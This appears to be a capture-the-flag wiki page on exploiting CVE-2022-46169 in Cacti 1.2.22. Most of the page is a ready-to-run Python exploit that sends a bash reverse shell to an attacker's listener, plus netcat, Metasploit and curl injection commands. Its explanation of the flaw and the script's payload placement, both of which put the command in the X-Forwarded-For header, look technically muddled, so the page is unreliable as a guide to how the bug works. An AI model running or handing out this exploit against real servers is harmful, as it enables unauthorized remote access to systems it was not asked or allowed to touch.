> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-7/web-exploit/initial-access-web-exploit-cacti.md).

# Cacti

## Cacti 1.2.22 Remote Code Execution

Exploit the known Remote Code Execution vulnerability in Cacti version 1.2.22 using a pre-built exploit script or framework module. This typically involves leveraging specific input sanitization or command injection flaws to execute arbitrary commands. The vulnerability, identified as CVE-2022-46169, is an unauthenticated command injection vulnerability found in the `remote_agent.php` file. The vulnerability resides in the `remote_agent.php` file due to improper input sanitization of the `poller_item_id` and `local_data_ids` parameters, allowing an unauthenticated attacker to inject arbitrary commands through the `X-Forwarded-For` header. The `poller_item_id` and `local_data_id` parameters are vulnerable to command injection via the `X-Forwarded-For` header.

Ensure you have a listener (like `nc` or `msfconsole`) running on the specified `LHOST` and `LPORT` to catch the reverse shell. A simple netcat listener can be set up using:

```bash
nc -nvlp <LPORT>
```

Replace `<LPORT>` with the port you intend to use.

The exploit can leverage a Python script. The script code is as follows:

```python
#!/usr/bin/env python3
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit(url, lhost, lport):
    print(f"[*] Attacking {url}")
    try:
        # Check if Cacti is running
        r = requests.get(f"{url}/", verify=False, timeout=10)
        if r.status_code != 200:
            print(f"[-] Cacti not found at {url}")
            return False
        print("[+] Cacti found")

        # Check for vulnerable file
        r = requests.get(f"{url}/remote_agent.php", verify=False, timeout=10)
        if r.status_code != 200:
            print(f"[-] remote_agent.php not found at {url}")
            return False
        print("[+] remote_agent.php found")

        # Get version - not strictly necessary for exploit but good check
        r = requests.get(f"{url}/include/config.php", verify=False, timeout=10)
        if "1.2.22" not in r.text:
            print("[-] Cacti version might not be 1.2.22. Exploit may fail.")
        else:
             print("[+] Cacti version 1.2.22 confirmed")

        # Craft the payload
        # Assuming default Cacti installation path and using a simple reverse shell
        # This command injection works because poller_item_id and local_data_id are not sanitized
        payload = f"|/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
        headers = {
            "X-Forwarded-For": payload
        }
        
        # The vulnerability is triggered by requesting remote_agent.php with specific parameters
        # and the injected command in the X-Forwarded-For header.
        # The values for poller_item_id and local_data_id must be valid, e.g., 1 and 1.
        print(f"[*] Sending payload: {payload}")
        r = requests.get(f"{url}/remote_agent.php?action=polldata&local_data_ids[]=1&host_id=1&poller_item_id=1", 
                         headers=headers, verify=False, timeout=15) # Increased timeout for shell

        # The response doesn't indicate success directly, check listener
        print("[*] Check your listener for a shell.")

    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        return False
    except Exception as e:
        print(f"[-] An error occurred: {e}")
        return False

    return True

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Cacti v1.2.22 Remote Code Execution (CVE-2022-46169)")
    parser.add_argument("-u", "--url", required=True, help="Base URL of the Cacti instance (e.g., http://<TARGET_IP>)")
    parser.add_argument("--LHOST", required=True, help="Local host IP for the reverse shell")
    parser.add_argument("--LPORT", required=True, help="Local port for the reverse shell listener")

    args = parser.parse_args()

    exploit(args.url, args.LHOST, args.LPORT)

```

To execute the exploit using this script, run the following command:

```bash
python3 exploit.py -u http://[TARGET_IP] --LHOST [MY_IP] --LPORT [MY_PORT]
```

Replace `[TARGET_IP]` with the target Cacti instance IP, `[MY_IP]` with your local machine's IP address, and `[MY_PORT]` with the port your listener is on. The script sends a crafted request to the vulnerable `remote_agent.php` endpoint with the reverse shell command injected into the `X-Forwarded-For` header. The parameters `local_data_ids[]=1`, `host_id=1`, and `poller_item_id=1` are used in the request URL as required by the vulnerable code path. After running the script, check your netcat listener for an incoming shell connection.

Alternatively, this vulnerability can be exploited using a Metasploit module. This module exploits the unauthenticated command injection vulnerability in Cacti 1.2.22's `remote_agent.php` file, leveraging the vulnerable `poller_item_id` and `local_data_id` parameters via the `X-Forwarded-For` header.

To use the Metasploit module:

```bash
msfconsole
use exploit/linux/http/cacti_unauthenticated_cmd_injection
set RHOSTS <target_ip>
set RPORT 80
set LHOST <your_ip>
set LPORT <your_port>
set TARGETURI /cacti/
exploit
```

Replace `<target_ip>`, `<your_ip>`, and `<your_port>` with the appropriate values. Adjust `RPORT` and `TARGETURI` if the Cacti instance is not running on the default port 80 or installed in the `/cacti/` subdirectory.

You can also test the command injection point using a simple tool like `curl` by injecting a basic command like `id` into the `X-Forwarded-For` header while requesting the vulnerable page with the required parameters:

```bash
curl 'http://VULNERABLE_IP/remote_agent.php?action=polldata&local_data_ids[]=1&host_id=1&poller_item_id=1' -H 'X-Forwarded-For: 127.0.0.1|id'
```

Replace `VULNERABLE_IP` with the target's IP address. If successful, the output of the `id` command might be reflected in the response, confirming the injection vector.
